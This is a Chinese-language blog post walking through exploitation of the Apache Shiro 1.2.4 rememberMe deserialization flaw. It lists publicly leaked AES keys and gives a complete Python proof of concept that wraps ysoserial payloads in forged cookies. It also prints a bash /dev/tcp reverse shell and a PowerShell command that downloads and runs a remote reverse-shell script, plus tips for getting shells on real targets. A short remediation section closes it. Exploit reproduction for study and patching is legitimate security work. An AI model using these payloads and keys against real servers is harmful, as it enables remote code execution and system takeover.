[漏洞復現]Apache Shiro 1.2.4反序列化
- 2019 年 11 月 20 日
- 筆記
最近沒怎麼更新文章,不好意思啊,兄弟姐妹們。現在現實工作也忙。今天就更新一篇漏洞復現的吧,預計明天更新一個實戰漏洞挖掘的文章(弱口令+越權)。你們如果想要什麼工具,可以在公眾號發消息我統一再處理上傳。謝謝大家支持。(づ ̄ 3 ̄)づ
前言
0x00 產生原因
shiro默認使用了CookieRememberMeManager, 其處理cookie的流程是: 得到rememberMe的cookie值–>Base64解碼–>AES解密–>反序列化.然而AES的密鑰是硬編碼的, 就導致了攻擊者可以構造惡意數據造成反序列化的RCE漏洞.
0x01 影響範圍
Apache Shiro <= 1.2.4
PS: 實際上漏洞與shiro版本無關, 無論是否升級shiro到1.2.5及以上, 如果shiro的rememberMe功能的AES密鑰被泄露, 就會導致反序列化漏洞. 本人已在實際工作中遇到這樣的特例, 密鑰泄漏的根本原因是開發人員在開發過程中部分代碼直接使用了網上的一些開源的項目代碼.
目前網上收集到的密鑰(poc中會提到在如何使用它們):
kPH+bIxk5D2deZiIxcaaaA== wGiHplamyXlVB11UXWol8g== 2AvVhdsgUs0FSA3SDFAdag== 4AvVhmFLUs0KTA3Kprsdag== fCq+/xW488hMTCD+cmJ3aQ== 3AvVhmFLUs0KTA3Kprsdag== 1QWLxg+NYmxraMoxAXu/Iw== ZUdsaGJuSmxibVI2ZHc9PQ== Z3VucwAAAAAAAAAAAAAAAA== U3ByaW5nQmxhZGUAAAAAAA== 6ZmI6I2j5Y+R5aSn5ZOlAA==
0x02 復現過程

抓包重放, 發現響應包中存在<rememberMe=deleteMe>

因為該漏洞沒有回顯, 所以我們需要先確認漏洞是否存在
這裡用DNS解析記錄來做判斷, 在http://www.dnslog.cn/上獲取子域: y8f70q.dnslog.cn

使用反序列化利用工具來監聽7878端口(需要Java環境)
作者項目鏈接: https://github.com/frohoff/ysoserial
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7878 CommonsCollections5 "ping y8f70q.dnslog.cn"

使用poc.py生成payload
import sys import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") #這裡替換密鑰 iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print "rememberMe={0}".format(payload.decode())
語法: python poc.py [vpsIP]:[port]

將生成的payload複製到請求包cookie的位置, 發包

此時可以在vps對應的監聽端口出看到有流量出來, 我們去平台查詢ping命令是否執行成功

刷新記錄, 發現ping命令成功執行

接下來就是反彈shell了
linux下反彈shell命令如下:
bash -i >& /dev/tcp/127.0.0.1/8888 0>&1
這裡需要將反彈shell的命令進行java base64編碼處理
在線編碼地址: http://www.jackson-t.ca/runtime-exec-payloads.html

同時使用nc監聽8888端口

重新生成payload發包, 反彈shell成功

至此, 復現完成, 整個漏洞復現流程:
使用poc.py生成payload–>將payload放入cookie中請求服務器–>服務器觸發payload去執行VPS上監聽端口1上的命令–>反彈shell命令執行–>VPS監聽端口2得到shell成功
0x03 漏洞修復
- 升級shiro到1.2.5及以上.
- 如果在配置里配置了密鑰, 那麼請一定不要使用網上的密鑰, 一定不要! ! 請自己base64一個AES的密鑰, 或者利用官方提供的方法生成密鑰: org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey().
0x04 復現總結
看似簡單的復現過程中途遇見了太多的坑…
下面做下總結:
- 測試時, 首先需要對網站基本信息有一個收集, 要知道它是什麼系統, linux與windows反彈shell的命令不同 linux(需要編碼處理): bash -i >& /dev/tcp/127.0.0.1/8888 0>&1
windwos(不需要編碼處理): powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 127.0.0.1 -port 8888
- 響應包中出現<rememberMe=deleteMe>可以用來大概判斷是否使用了Shiro.
- 關於反彈shell命令, 如果不編碼會命令執行失敗. 本人在網上閱讀大佬們寫的相關文章後, 理解了一點, 簡單說就是反彈shell的命令中包含一些特殊的符號, 在進行反序列化的時候會導致命令無法正常解析, 反正編碼就完事了.
- 測試時, 最好先使用ping命令用來檢測漏洞是否存在, 因為複雜的命令可能因為各種原因執行失敗, 影響判斷.
- 關於利用模塊的選擇, 最開始在docker上復現時, 我使用的是CommonsCollections2, 都能成功, 但到了實際環境中, 反彈shell一直執行不成功, 我又是不停的找資料看, 問朋友, 但是因為並不明白原理, 還是搞不懂, 反正最後的結論是CommonsCollections1, CommonsCollections3, CommonsCollections5可以, 不行就都試一遍, 萬一成功了呢~
0x05 工具下載
公眾號回復關鍵字:Apache反序列化即可獲得下載鏈接
後面想更新系列文章,想聽聽大家的想法。如:SQL注入、安全工具